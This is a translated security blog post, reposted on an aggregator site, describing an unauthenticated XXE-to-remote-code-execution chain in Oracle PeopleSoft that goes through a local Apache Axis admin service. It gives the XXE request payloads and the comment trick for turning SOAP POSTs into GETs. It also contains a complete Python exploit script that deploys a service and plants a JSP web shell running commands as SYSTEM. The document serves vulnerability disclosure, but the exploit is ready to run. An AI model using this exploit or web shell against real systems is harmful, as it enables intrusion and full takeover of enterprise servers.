Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞

$
0
0
【漏洞分析】Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞

2017-05-18 13:29:45

阅读:483次
点赞(0)
收藏
来源: ambionics.io





【漏洞分析】Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞

作者:WisFree





【漏洞分析】Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞

翻译:WisFree

预估稿费:170RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


Oracle PeopleSoft

在几个月以前,我有幸得到了审查Oracle PeopleSoft解决方案的机会,审查对象包括PeopleSoft HRMS和PeopleTool在内。除了几个没有记录在案的CVE之外,网络上似乎没有给我提供了多少针对这类软件的攻击方法,不过ERPScan的技术专家在两年前发布的这份演讲文稿倒是给我提供了不少有价值的信息。从演示文稿中我们可以清楚地了解到,PeopleSoft简直就是一个装满了漏洞的容器,只不过目前还没有多少有关这些漏洞的公开信息而已。

PeopleSoft应用包含各种各样不同的终端节点,其中很大一部分节点是没有经过身份验证的。除此之外,很多服务正好使用的仍是默认密码,这很有可能是为了更好地实现互联互通性才这样设计的。但事实证明,这种设计不仅是非常不安全的,而且也十分不明智,而这将会让PeopleSoft完全暴露在安全威胁之中。

在这篇文章中,我将会给大家介绍一种能够将XXE漏洞转换成以SYSTEM权限运行命令的通用方法,几乎所有的PeopleSoft版本都会受到影响。


XXE:访问本地网络

目前该产品中已知的XXE漏洞已经有很多了,例如CVE-2013-3800和CVE-2013-3821。ERPScan在演示文稿中记录的最后一个漏洞样本为CVE-2017-3548,简单来说,这些漏洞将允许我们提取出PeopleSoft和WebLogic控制台的登录凭证,但拿到这两个控制台的Shell绝非易事。除此之外,由于最后一个XXE漏洞为Blind-XXE,因此我们假设目标网络安装有防火墙软件,并且增加了从本地文件提取数据的难度。

CVE-2013-3821:集成网关HttpListeningConnector XXE

POST/PSIGW/HttpListeningConnectorHTTP/1.1 Host:website.com Content-Type:application/xml ... <?xmlversion="1.0"?> <!DOCTYPEIBRequest[ <!ENTITYxSYSTEM"http://localhost:51420"> ]> <IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> <Password/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data><![CDATA[<?xmlversion="1.0"?>your_message_content]]> </Data> </ContentSection> </ContentSections> </IBRequest>

CVE-2017-3548:集成网关PeopleSoftServiceListeningConnector XXE

POST/PSIGW/PeopleSoftServiceListeningConnectorHTTP/1.1 Host:website.com Content-Type:application/xml ... <!DOCTYPEaPUBLIC"-//B/A/EN""C:\windows">

在这里,我们准备利用这些XXE漏洞来访问localhost的各种服务,并尝试绕过防火墙规则或身份认证机制,但现在的问题是如何找到服务所绑定的本地端口。为了解决这个问题,我们可以访问服务的主页,然后查看cookie内容:

Set-Cookie:SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;

我们可以看到,当前服务所使用的端口为51500。此时,我们就可以通过http://localhost:51500/来访问应用程序了。


Apache Axis

其中一个未进行身份验证的服务就是Apache Axis 1.4服务器,所在的URL地址为http://website.com/pspc/services。Apache Axis允许我们在Java类中通过生成WSDL和帮助代码来构建SOAP终端节点并与之进行交互。为了管理服务器,我们必须与AdminService进行交互。URL地址如下:http://website.com/pspc/services/AdminService。

为了让大家能够更好地理解,我们在下面给出了一个演示样例。在下面这个例子中,一名管理员基于java.util.Random类创建了一个终端节点:

POST/pspc/services/AdminService Host:website.com SOAPAction:something Content-Type:application/xml ... <?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:servicename="RandomService"provider="java:RPC"> <ns1:parametername="className"value="java.util.Random"/> <ns1:parametername="allowedMethods"value="*"/> </ns1:service> </ns1:deployment> </soapenv:Body> </soapenv:Envelope>

这样一来,java.util.Random类中的每一个公共方法都可以作为一个Web服务来使用了。在下面的例子中,我们通过SOAP来调用Random.nextInt():

POST/pspc/services/RandomService Host:website.com SOAPAction:something Content-Type:application/xml ... <?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:nextInt/> </soapenv:Body> </soapenv:Envelope>

响应信息如下:

HTTP/1.1200OK ... <?xmlversion="1.0"encoding="UTF-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <ns1:nextIntResponse soapen xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API"> <nextIntReturnhref="#id0"/> </ns1:nextIntResponse> <multiRefid="id0"soapenc:root="0" soapen xsi:type="xsd:int" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"> 1244788438<!--Here'sourrandominteger--> </multiRef> </soapenv:Body> </soapenv:Envelope>

虽然这个管理员终端节点已经屏蔽了外部IP地址,但是当我们通过localhost来访问它时却不需要输入任何的密码。因此,这里也就成为了我们的一个攻击测试点了。由于我们使用的是一个XXE漏洞,因此POST请求在这里就不可行了,而我们需要一种方法来将我们的SOAP Payload转换为GET请求发送给主机服务器。


Axis:从POST到GET

Axis API允许我们发送GET请求。它首先会接收我们给定的URL参数,然后再将其转换为一个SOAP Payload。下面这段Axis源代码样例会将GET参数转换为一个XML Payload:

publicclassAxisServerextendsAxisEngine{ [...] { Stringmethod=null; Stringargs=""; Enumeratione=request.getParameterNames(); while(e.hasMoreElements()){ Stringparam=(String)e.nextElement(); if(param.equalsIgnoreCase("method")){ method=request.getParameter(param); } else{ args+="<"+param+">"+request.getParameter(param)+ "</"+param+">"; } } Stringbody="<"+method+">"+args+"</"+method+">"; Stringmsgtxt="<SOAP-ENV:Envelope"+ "xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">"+ "<SOAP-ENV:Body>"+body+"</SOAP-ENV:Body>"+ "</SOAP-ENV:Envelope>"; } }

为了深入理解它的运行机制,我们再给大家提供一个样例:

GET/pspc/services/SomeService ?method=myMethod &parameter1=test1 &parameter2=test2

上面这个GET请求等同于:

<?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <myMethod> <parameter1>test1</parameter1> <parameter2>test2</parameter2> </myMethod> </soapenv:Body> </soapenv:Envelope>

然而,当我们尝试使用这种方法来设置一个新的终端节点时,系统却出现了错误。我们的XML标签必须有属性,但我们的代码却做不到这一点。当我们尝试在GET请求中添加标签属性时,情况如下:

GET/pspc/services/SomeService ?method=myMethod+attr0="x" &parameter1+attr1="y"=test1 &parameter2=test2

但我们得到的结果如下:

<?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <myMethodattr0="x"> <parameter1attr1="y">test1</parameter1attr1="y"> <parameter2>test2</parameter2> </myMethodattr0="x"> </soapenv:Body> </soapenv:Envelope>

很明显,这并不是有效的XML代码,所以我们的请求才会被服务器拒绝。如果我们将整个Payload放到方法的参数中,比如说这样:

GET/pspc/services/SomeService ?method=myMethod+attr="x"><test>y</test></myMethod

此时我们得到的结果如下:

<?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <myMethodattr="x"><test>y</test></myMethod> </myMethodattr="x"><test>y</test></myMethod> </soapenv:Body> </soapenv:Envelope>

此时,我们的Payload将会出现两次,第一次的前缀为“<”,第二次为“</”。最终的解决方案需要用到XML注释:

GET/pspc/services/SomeService ?method=!--><myMethod+attr="x"><test>y</test></myMethod

此时我们得到的结果如下:

<?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <!--><myMethodattr="x"><test>y</test></myMethod> </!--><myMethodattr="x"><test>y</test></myMethod> </soapenv:Body> </soapenv:Envelope>

由于我们添加了前缀“!-->”,所以第一个Payload是以“<!--”开头的,这也是XML注释的起始标记。第二行以“</!”开头,后面跟着的是“-->”,它表示注释结束。因此,这也就意味着我们的第一行Payload将会被忽略,而我们的Payload现在只会被解析一次。

这样一来,我们就可以将任意的SOAP请求从POST转变为GET了,这也就意味着我们可以将任何的类当作Axis服务进行部署,并利用XXE漏洞绕过服务的IP检测。


Axis:小工具(Gadgets)

Apache Axis在部署服务的过程中不允许我们上传自己的Java类,因此我们只能使用服务提供给我们的类。在对PeopleSoft的pspc.war(包含Axis实例)进行了分析之后,我们发现org.apache.pluto.portalImpl包中的Deploy类包含很多非常有趣的方法。首先,addToEntityReg(String[] args)方法允许我们在一个XML文件的结尾处添加任意数据。其次,copy(file1, file2)方法还允许我们随意拷贝任意文件。这样一来,我们就可以向我们的XML注入一个JSP Payload,然后将它拷贝到webroot中,这样就足以够我们拿到Shell了。

正如我们所期待的那样,PeopleSoft以SYSTEM权限运行了,而这将允许攻击者通过一个XXE漏洞触发PeopleSoft中的远程代码执行漏洞,并通过SYSTEM权限运行任意代码。


漏洞利用 PoC

这种漏洞利用方法几乎适用于目前任意版本的PeopleSoft,在使用之前,请确保修改了相应的XXE终端节点:

#!/usr/bin/python3 #OraclePeopleSoftSYSTEMRCE #https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce #cf #2017-05-17 importrequests importurllib.parse importre importstring importrandom importsys fromrequests.packages.urllib3.exceptionsimportInsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) try: importcolorama exceptImportError: colorama=None else: colorama.init() COLORS={ '+':colorama.Fore.GREEN, '-':colorama.Fore.RED, ':':colorama.Fore.BLUE, '!':colorama.Fore.YELLOW } URL=sys.argv[1].rstrip('/') CLASS_NAME='org.apache.pluto.portalImpl.Deploy' PROXY='localhost:8080' #shell.jsp?c=whoami PAYLOAD='<%@pageimport="java.util.*,java.io.*"%><%if(request.getParameter("c")!=null){Processp=Runtime.getRuntime().exec(request.getParameter("c"));DataInputStreamdis=newDataInputStream(p.getInputStream());Stringdisr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();};p.destroy();}%>' classBrowser: """Wrapperaroundrequests. """ def__init__(self,url): self.url=url self.init() definit(self): self.session=requests.Session() self.session.proxies={ 'http':PROXY, 'https':PROXY } self.session.verify=False defget(self,url,*args,**kwargs): returnself.session.get(url=self.url+url,*args,**kwargs) defpost(self,url,*args,**kwargs): returnself.session.post(url=self.url+url,*args,**kwargs) defmatches(self,r,regex): returnre.findall(regex,r.text) classRecon(Browser): """Grabsdifferentinformationsaboutthetarget. """ defcheck_all(self): self.site_id=None self.local_port=None self.check_version() self.check_site_id() self.check_local_infos() defcheck_version(self): """GrabsPeopleTools'version. """ self.version=None r=self.get('/PSEMHUB/hub') m=self.matches(r,'RegisteredHostsSummary-([0-9\.]+).</b>') ifm: self.version=m[0] o(':','PToolsversion:%s'%self.version) else: o('-','Unabletofindversion') defcheck_site_id(self): """GrabsthesiteIDandthelocalport. """ ifself.site_id: return r=self.get('/') m=self.matches(r,'/([^/]+)/signon.html') ifnotm: raiseRuntimeError('UnabletofindsiteID') self.site_id=m[0] o('+','SiteID:'+self.site_id) defcheck_local_infos(self): """Usescookiestoleakhostnameandlocalport. """ ifself.local_port: return r=self.get('/psp/%s/signon.html'%self.site_id) forc,vinself.session.cookies.items(): ifc.endswith('-PORTAL-PSJSESSIONID'): self.local_host,self.local_port,*_=c.split('-') o('+','Target:%s:%s'%(self.local_host,self.local_port)) return raiseRuntimeError('Unabletogetlocalhostname/port') classAxisDeploy(Recon): """UsestheXXEtoinstallDeploy,andusesitstwousefulmethodstoget ashell. """ definit(self): super().init() self.service_name='YZWXOUuHhildsVmHwIKdZbDCNmRHznXR'#self.random_string(10) defrandom_string(self,size): return''.join(random.choice(string.ascii_letters)for_inrange(size)) defurl_service(self,payload): return'http://localhost:%s/pspc/services/AdminService?method=%s'%( self.local_port, urllib.parse.quote_plus(self.psoap(payload)) ) defwar_path(self,name): #ThisisjustaguessfromthefewPeopleSoftinstancesweaudited. #Itmightbewrong. suffix='.war'ifself.versionandself.version>='8.50'else'' return'./applications/peoplesoft/%s%s'%(name,suffix) defpxml(self,payload): """ConvertsanXMLpayloadintoaone-liner. """ payload=payload.strip().replace('\n','') payload=re.sub('\s+<','<',payload,flags=re.S) payload=re.sub('\s+','',payload,flags=re.S) returnpayload defpsoap(self,payload): """ConvertsaSOAPpayloadintoaone-liner,includingthecommenttrick toallowattributes. """ payload=self.pxml(payload) payload='!-->%s'%payload[:-1] returnpayload defsoap_service_deploy(self): """SOAPpayloadtodeploytheservice. """ return""" <ns1:deploymentxmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:servicename="%s"provider="java:RPC"> <ns1:parametername="className"value="%s"/> <ns1:parametername="allowedMethods"value="*"/> </ns1:service> </ns1:deployment> """%(self.service_name,CLASS_NAME) defsoap_service_undeploy(self): """SOAPpayloadtoundeploytheservice. """ return""" <ns1:undeploymentxmlns="http://xml.apache.org/axis/wsdd/" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:servicename="%s"/> </ns1:undeployment> """%(self.service_name,) defxxe_ssrf(self,payload): """RunsthegivenAXISdeploy/undeploypayloadthroughtheXXE. """ data=""" <?xmlversion="1.0"?> <!DOCTYPEIBRequest[ <!ENTITYxSYSTEM"%s"> ]> <IBRequest> <ExternalOperationName>&x;</ExternalOperationName> <OperationType/> <From><RequestingNode/> <Password/> <OrigUser/> <OrigNode/> <OrigProcess/> <OrigTimeStamp/> </From> <To> <FinalDestination/> <DestinationNode/> <SubChannel/> </To> <ContentSections> <ContentSection> <NonRepudiation/> <MessageVersion/> <Data> </Data> </ContentSection> </ContentSections> </IBRequest> """%self.url_service(payload) r=self.post( '/PSIGW/HttpListeningConnector', data=self.pxml(data), headers={ 'Content-Type':'application/xml' } ) defservice_check(self): """Verifiesthattheserviceiscorrectlyinstalled. """ r=self.get('/pspc/services') returnself.service_nameinr.text defservice_deploy(self): self.xxe_ssrf(self.soap_service_deploy()) ifnotself.service_check(): raiseRuntimeError('Unabletodeployservice') o('+','Servicedeployed') defservice_undeploy(self): ifnotself.local_port: return self.xxe_ssrf(self.soap_service_undeploy()) ifself.service_check(): o('-','Unabletoundeployservice') return o('+','Serviceundeployed') defservice_send(self,data): """SenddatatotheAxisendpoint. """ returnself.post( '/pspc/services/%s'%self.service_name, data=data, headers={ 'SOAPAction':'useless', 'Content-Type':'application/xml' } ) defservice_copy(self,path0,path1): """Copiesonefiletoanother. """ data=""" <?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:copy soapen> <in0xsi:type="xsd:string">%s</in0> <in1xsi:type="xsd:string">%s</in1> </api:copy> </soapenv:Body> </soapenv:Envelope> """.strip()%(path0,path1) response=self.service_send(data) return'<ns1:copyResponse'inresponse.text defservice_main(self,tmp_path,tmp_dir): """Writesthepayloadattheendofthe.xmlfile. """ data=""" <?xmlversion="1.0"encoding="utf-8"?> <soapenv:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapen> <api:in0> <itemxsi:type="xsd:string">%s</item> <itemxsi:type="xsd:string">%s</item> <itemxsi:type="xsd:string">%s.war</item> <itemxsi:type="xsd:string">something</item> <itemxsi:type="xsd:string">-addToEntityReg</item> <itemxsi:type="xsd:string"><![CDATA[%s]]></item> </api:in0> </api:main> </soapenv:Body> </soapenv:Envelope> """.strip()%(tmp_path,tmp_dir,tmp_dir,PAYLOAD) response=self.service_send(data) defbuild_shell(self): """BuildsaSYSTEMshell. """ #Onversions>=8.50,usinganotherextensionthanJSPgot70bytes #inreturneverytime,forsomereason. #Using.jspseemstotriggercaching,thusthesamepivotcannotbe #usedtoextractseveralfiles. #Again,thisisjustfromexperience,nothingconfirmed pivot='/%s.jsp'%self.random_string(20) pivot_path=self.war_path('PSOL')+pivot pivot_url='/PSOL'+pivot #1:Copyportletentityregistry.xmltoTMP per='/WEB-INF/data/portletentityregistry.xml' per_path=self.war_path('pspc') tmp_path='../'*20+'TEMP' tmp_dir=self.random_string(20) tmp_per=tmp_path+'/'+tmp_dir+per ifnotself.service_copy(per_path+per,tmp_per): raiseRuntimeError('UnabletocopyoriginalXMLfile') #2:AddJSPpayload self.service_main(tmp_path,tmp_dir) #3:CopyXMLtoJSPinwebroot ifnotself.service_copy(tmp_per,pivot_path): raiseRuntimeError('UnabletocopymodifiedXMLfile') response=self.get(pivot_url) ifresponse.status_code!=200: raiseRuntimeError('UnabletoaccessJSPshell') o('+','ShellURL:'+self.url+pivot_url) classPeopleSoftRCE(AxisDeploy): def__init__(self,url): super().__init__(url) defo(s,message): ifcolorama: c=COLORS[s] s=colorama.Style.BRIGHT+COLORS[s]+'|'+colorama.Style.RESET_ALL print('%s%s'%(s,message)) x=PeopleSoftRCE(URL) try: x.check_all() x.service_deploy() x.build_shell() exceptRuntimeErrorase: o('-',e) finally: x.service_undeploy()


【漏洞分析】Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞
【漏洞分析】Oracle旗下PeopleSoft产品被曝存在未授权远程代码执行漏洞
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce

Viewing all articles
Browse latest Browse all 12749

Trending Articles